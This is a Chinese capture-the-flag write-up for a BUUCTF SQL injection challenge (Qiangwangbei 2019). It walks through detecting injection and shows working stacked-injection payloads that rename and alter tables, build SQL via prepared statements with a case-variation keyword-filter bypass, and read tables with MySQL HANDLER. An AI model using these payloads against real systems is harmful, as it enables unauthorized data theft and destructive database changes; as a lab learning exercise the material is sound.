buuctf web-2(sql注入新姿势 mysql handler 表的重命名 sql预编译
actf 2020 新生赛 exec 1

猜测为命令执行


强网杯 2019 随便注 1

输入1‘有sql报错,根据报错信息推测为单引号闭合
order by猜波字段


说明当前表字段数量为2
接下来尝试用联合注入

可以看到这里过滤了select ,update等关键字,这里用的过滤函数是preg_match,执行的是大小写不敏感的匹配,尝试双写,大小写绕过后失败,因为后端并没有将敏感字符串替换为空的操作
这里放弃联合注入
尝试布尔盲注

这是回显正常的页面

这是没有回显,即条件错误的页面

说明当前数据库长度为9
但后面的布尔盲注还是需要用到where子句 select等关键字,仅判断一个数据库长度也没有什么用,放弃盲注
同样的,要用到select where查询条件的报错注入在这里也没有利用价值
尝试堆叠注入
1';show tables;# 查询一下表

可以使用,但是之后的注入触及我的知识盲区了
看了大佬们的wp后,成功过关
接上,通过show tables我们可以看到有两个表
words和1919810931114514 (114514......这表名)
先看看words表的字段内容

再看看114514表的字段
1'; show columns from `1919810931114514`;# (注意这里表名为数字时,要用反引号包裹起来进行查询)

发现flag字段
回想一下一开始输入1的时候页面有两个回显,通过刚才的查询知道了words表有两个字段 id和data, 114514表有个flag
推测后端语句为 select id,data from words where id=
即默认的查询表为words
这意味着我们无论查询什么数据都是再words表中进行,而在words表中查不到我们要的flag
解法一
1.先通过rename把words表改成其他表名
2.再把114514表改为words表
3.给words表添加新的列名为id
4.把flag列改名为data
payload如下
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
解析一下这个payload
首先是rename,用于重新命名表的名称
rename命令格式:rename table 原表名 to 新表名
ALTER TABLE 语句用于在已有的表中添加、删除或修改列
格式 ALTER TABLE table_name
ADD column_name datatype
int unsigned即无符号整型,auto_increment primary key为自增主键,默认值为1.每增加一条纪录,值加一
alter change用于修改字段名
格式
alter table table_name change old_name new_name datatype
datatype是数据类型
完成了以上操作后
输入数字1即可爆出flag

data就是flag,所以输入数字1即显示flag
解法2
sql预编译
因为flag字段在114514表中
所以我们要查询select * from `1919810931114514`;
payload
1’;set @sql=CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;execute stmt;#
set用于设置变量名和值
prepare用于预备一个语句并赋予名称,以后可以引用该语句
execute用于执行语句
输入payload

这里strstr函数检测到了set和prepare关键字
但是strstr函数不能区分大小写,这里用大小写绕过即可
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

解法三
mysql handler语句
handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:
HANDLER 表名 OPEN ;
查看数据:
HANDLER 表名 READ next;
关闭表:
HANDLER 表名 READ CLOSE;
payload
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ NEXT;HANDLER `1919810931114514` CLOSE;
![]()

浙公网安备 33010602011771号